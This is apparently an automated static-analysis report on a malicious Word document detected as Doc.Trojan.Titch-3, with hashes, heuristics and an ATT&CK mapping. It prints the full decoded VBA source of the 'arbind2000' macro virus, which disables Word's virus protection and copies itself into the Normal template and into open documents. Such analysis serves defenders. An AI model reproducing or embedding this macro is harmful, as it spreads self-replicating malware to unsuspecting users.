Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d52a7ab1b46f5256…

MALICIOUS

Office (OLE)

28.5 KB Created: 2000-01-09 02:19:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: dee2d23928a66b8ebea402223dbf10ea SHA-1: 075168fe1b90e4708061adec8dc70b277ea207f5 SHA-256: d52a7ab1b46f525635f3fad1a1960538085280e1082b6bb452b892a69a2de560
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing a VBA macro. The AutoClose macro attempts to copy itself to the Normal template and the active document, indicating a persistence mechanism. The macro's comments suggest it is an experiment with minimal stealth and no direct payload, but its persistence behavior is a clear indicator of malicious intent. The ClamAV detection further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Titch-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Titch-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1648 bytes
SHA-256: b4fa9b38dcbfa6ab2b707d1f8a535fd24e6dffdcbe09c0abd95a6bad95dcff0b
Detection
ClamAV: Doc.Trojan.Titch-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Arbind2000"
Sub AutoClose()
'arbind2000
'An experiment in Macro programming ;)
'Minimum stealth, no encryption, No payload, No mail replication
'If you had looked you could have found and deleted it but..
'You probably never knew it was here!
  On Error Resume Next
  Application.Options.VirusProtection = False
  Application.Options.SaveNormalPrompt = False
  Application.Options.ConfirmConversions = False
  Dim x As Integer
  Dim found As Boolean
  found = False
  x = 1
  For x = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents.Item(x).CodeModule.Lines(2, 1) = "'arbind2000" Then found = True
  Next x
  If Not found Then
    Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "arbind2000", wdOrganizerObjectProjectItems
  End If
  If NormalTemplate.Saved = False Then NormalTemplate.Save
  
  found = False
  x = 1
  For x = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents.Item(x).CodeModule.Lines(2, 1) = "'arbind2000" Then found = True
  Next x
  If Not found Then
    NormalTemplate.VBProject.VBComponents("arbind2000").Export ("c:\arbind2000.tmp")
    ActiveDocument.VBProject.VBComponents.Import ("c:\arbind2000.tmp")
    ActiveDocument.SaveAs ActiveDocument.FullName
    Kill ("c:\arbind2000.tmp")
  End If
End Sub

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